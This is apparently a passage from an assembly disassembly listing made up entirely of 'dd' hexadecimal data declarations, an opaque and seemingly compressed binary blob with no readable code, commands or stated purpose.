		dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h,	0EBED7739h
		dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h
		dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh,	53120088h
		dd 6A80C302h, 6008BEEh,	0A0042ECEh, 7CA0BC8h, 0B46B840Fh
		dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h,	607A00D1h
		dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh
		dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h
		dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h
		dd 614057h, 0F7A4B91Bh,	0C0DF6A1h, 0F93DFE00h, 24C4811Eh
		dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h
		dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h
		dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h
		dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h,	261EBA7Dh
		dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h
		dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h
		dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h
		dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h,	0DE252404h
		dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h
		dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h
		dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh
		dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h
		dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah,	619DB3CAh
		dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch
		dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h
		dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h
		dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h,	5B40C477h
		dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah
		dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h,	1E793A14h
		dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h
		dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h
		dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h,	158B64A8h
		dd 8043F3h, 0CB4EC93Dh,	1C303312h, 9810BA00h, 708D404Bh
		dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h,	5798F20Dh
		dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
		dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
		dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
		dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
		dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
		dd 1F30E618h, 3085DF2h,	98DB0CE6h, 0F410E099h, 8D122E7Ch
		dd 0E0E3353h
		dd 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h
		dd 3C647163h, 0CAE029h,	0EEE0E9C1h, 35FF983h, 1F7E800h
		dd 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h
		dd 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h
		dd 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h
		dd 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h
		dd 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh,	0DAB8177Dh
		dd 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h
		dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h
		dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h
		dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h
		dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h
		dd 0B657700h, 75676B5h,	5478ABh, 9D7B22BBh, 0BFAE3CECh
		dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah
		dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h
		dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h
		dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h,	0C7027C8Dh
		dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h
		dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h
		dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h
		dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h
		dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh
		dd 39735C8h, 496071A7h,	0D9B013FCh, 2900ADC2h, 4B89A09Dh
		dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h
		dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh
		dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh
		dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h
		dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h
		dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h
		dd 6EB78680h, 0C776B4h,	0DE3D34Ah, 0D6E8FD4Fh, 7E400401h
		dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh
		dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh
		dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh
		dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h,	8041C59Ch
		dd 7444342h, 48474645h,	4B4A0049h, 4E004D4Ch, 0A51504Fh
		dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h
		dd 806B6A69h, 76E6D6Ch,	7271706Fh, 75740073h, 780E7776h
		dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh
		dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah
		dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh
		dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h
		dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h,	9C732D85h
		dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh
		dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh
		dd 956BC70h, 4052008Ah,	0D4CF5C7Ch, 33001571h, 0FF273929h
		dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h
		dd 823252h, 0D98CD5F4h,	0C6660347h, 11F01600h, 5521429Fh
		dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h
		dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh
		dd 8BFD097Dh, 7E58562h,	8F82B80Eh, 464BC10Bh, 3D60ED05h
		dd 76EA00F0h, 2BBCE14h,	0C7143032h, 0CAF468h, 0EFC11A13h
		dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh
		dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh
		dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h
		dd 2ADF90C2h, 2004589h,	169F4999h, 0ECD9C65Ah, 6B7623h
		dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h
		dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h,	1FE361Dh
		dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh
		dd 592EC49h, 50B1C594h,	2132839Fh, 0B2525207h, 62B071C4h
		dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh
		dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h,	0F8281C13h
		dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h
		dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h
		dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h
		dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h,	6CD5003Fh
		dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh
		dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h
		dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h,	252785A1h
		dd 9F000C6h, 5F1CF405h,	8F000F15h, 334E99A4h, 0EC859A23h
		dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah
		dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h
		dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h
		dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h
		dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h
		dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h
		dd 44D12D1h, 341D0F65h,	4700F78Ah, 0FD44F8A1h, 0A200D9E4h
		dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h
		dd 74532F85h, 0BCD1D8h,	0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh
		dd 4717CDC0h, 1E8AEB5h,	0F6B02BCFh, 20E6D655h, 0F0122C84h
		dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh
		dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h
		dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h
		dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h
		dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh
		dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h
		dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h
		dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h
		dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh,	17C800A0h
		dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh,	3812CCh
		dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h,	0A69F00BDh
		dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h
		dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh
		dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h
		dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h,	2AD419F2h
		dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh
		dd 0D88CC364h, 758BDDh,	4B937C2Fh, 6A24A058h, 7A820300h
		dd 5AC773A4h, 0BA727Eh,	27841D5h, 0C327116Ch, 4B8E5901h
		dd 0A6B01E5Fh, 40D2ECh,	7517496Fh, 227C3966h, 0A39F4507h
		dd 86202F71h, 0D94161h,	7BDB2529h, 676F881h, 35A85500h
		dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh,	0AC034A08h
		dd 0E88237EBh, 641AE2h,	0A6432101h, 9854B34Ah, 0FC93B909h
		dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
		dd 42BFC963h
		dd 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h
		dd 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh,	0FC9591DBh
		dd 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h
		dd 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh,	0E881A64Ah
		dd 910F2924h, 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h
		dd 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh,	0AC2C164Ch
		dd 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h,	0A62107E2h
		dd 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh
		dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch
		dd 667C08h, 0D806EBD1h,	35F00973h, 83203E1Ch, 0B8F38100h
		dd 0CEFEEDh, 31EB1C75h,	4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h
		dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h
		dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh
		dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h,	0C09DDF92h
		dd 9EB0D368h, 0F8043Dh,	5DD0D45Fh, 3CC60150h, 8980B0A2h
		dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h
		dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h
		dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh
		dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h
		dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h
		dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h
		dd 7C0058FFh, 3C709EFh,	9160C0h, 0A8A0048Ah, 3B94980Bh
		dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h,	71174606h
		dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h
		dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh
		dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h
		dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh,	49CF5C1Fh
		dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h
		dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h,	0CA529C00h
		dd 42A4968Fh, 0D575FFh,	0ABE8C3C1h, 290C3292h, 0AF880807h
		dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h
		dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh
		dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h,	0DE019A5Dh
		dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch
		dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh,	0EF1E200Dh
		dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh,	6600A5F3h
		dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h
		dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h
		dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h
		dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh
		dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch
		dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh
		dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh
		dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h
		dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h
		dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh
		dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh
		dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh
		dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h,	94EF0361h
		dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h
		dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h
		dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h
		dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh
		dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h
		dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h
		dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh,	0C80A91D9h
		dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h
		dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h,	0E48C01AFh
		dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h,	0FA80DC01h
		dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h
		dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh
		dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h
		dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh
		dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h
		dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh
		dd 0F5933Fh, 8F060F38h,	3BE30811h, 1680FA0Ah, 0B4F845B7h
		dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch
		dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah
		dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h
		dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h
		dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h
		dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h,	2714914Fh
		dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h
		dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h
		dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h,	0D98F04ECh
		dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh
		dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh
		dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h
		dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh
		dd 6890DD1h, 4938F800h,	5328BAC6h, 0CB150A91h, 0AC318Bh
		dd 3FB833Fh, 0C006076h,	9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h,	7F5ABAF0h
		dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
		dd 559D8A6h, 0E6A8C4Ah,	0B7D49C00h, 0BCCDA06Bh,	7AC40E11h
		dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
		dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h,	394F73C0h
		dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
		dd 0B85D3207h, 89C9B412h
		dd 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h, 6642411Eh
		dd 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h,	0A800C3BEh
		dd 0B48EA30Eh, 9E2FACh,	1DA6759Fh, 42485536h, 62034BF8h
		dd 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh,	0B8AFC47h
		dd 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h, 7BB8BA2Ch
		dd 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h,	0CCAB85FBh
		dd 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h, 74047864h
		dd 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h, 9559B745h
		dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh
		dd 0C19062h, 88792B52h,	650078BFh, 80C1B0B7h, 107EBh, 3A740472h
		dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah
		dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h
		dd 20E6305h, 1D451723h,	0DA401929h, 92FE8048h, 0F104741Dh
		dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh
		dd 4A97892Bh, 1835B59h,	8E1CC778h, 700AFB45h, 0C90013BBh
		dd 4B7E0D0h, 2659FA5Fh,	0DE010Dh, 0E7557C8Ah, 0E8074284h
		dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh
		dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h
		dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h
		dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h
		dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h,	0AFFB672Dh
		dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h,	3CD20873h
		dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h
		dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h
		dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h
		dd 1326FE9h, 36FFC327h,	30E025E2h, 5C484A69h, 7CBC000Fh
		dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h
		dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h
		dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah
		dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h
		dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h
		dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh,	0D68A4200h
		dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh
		dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh
		dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h
		dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h
		dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh,	0FF35EFAAh
		dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h
		dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h
		dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh
		dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h
		dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h,	86D89A3Bh
		dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h,	575AA00h
		dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh,	0BA169DF8h
		dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh
		dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h
		dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah
		dd 5161DA4Bh, 1FA109Dh,	0BEFC8A07h, 85308F58h, 79A8D9ECh
		dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch
		dd 0D37330h, 68F810D9h,	21BE42B8h, 0D611EC00h, 0F49061DFh
		dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h
		dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h
		dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h
		dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h
		dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h
		dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch
		dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h,	0B00507h
		dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h
		dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h
		dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh
		dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h
		dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h
		dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h,	44E81EA2h
		dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h,	50520717h
		dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h
		dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh
		dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h
		dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh
		dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h
		dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh,	32037273h
		dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h,	0E05816D1h
		dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h
		dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h
		dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h
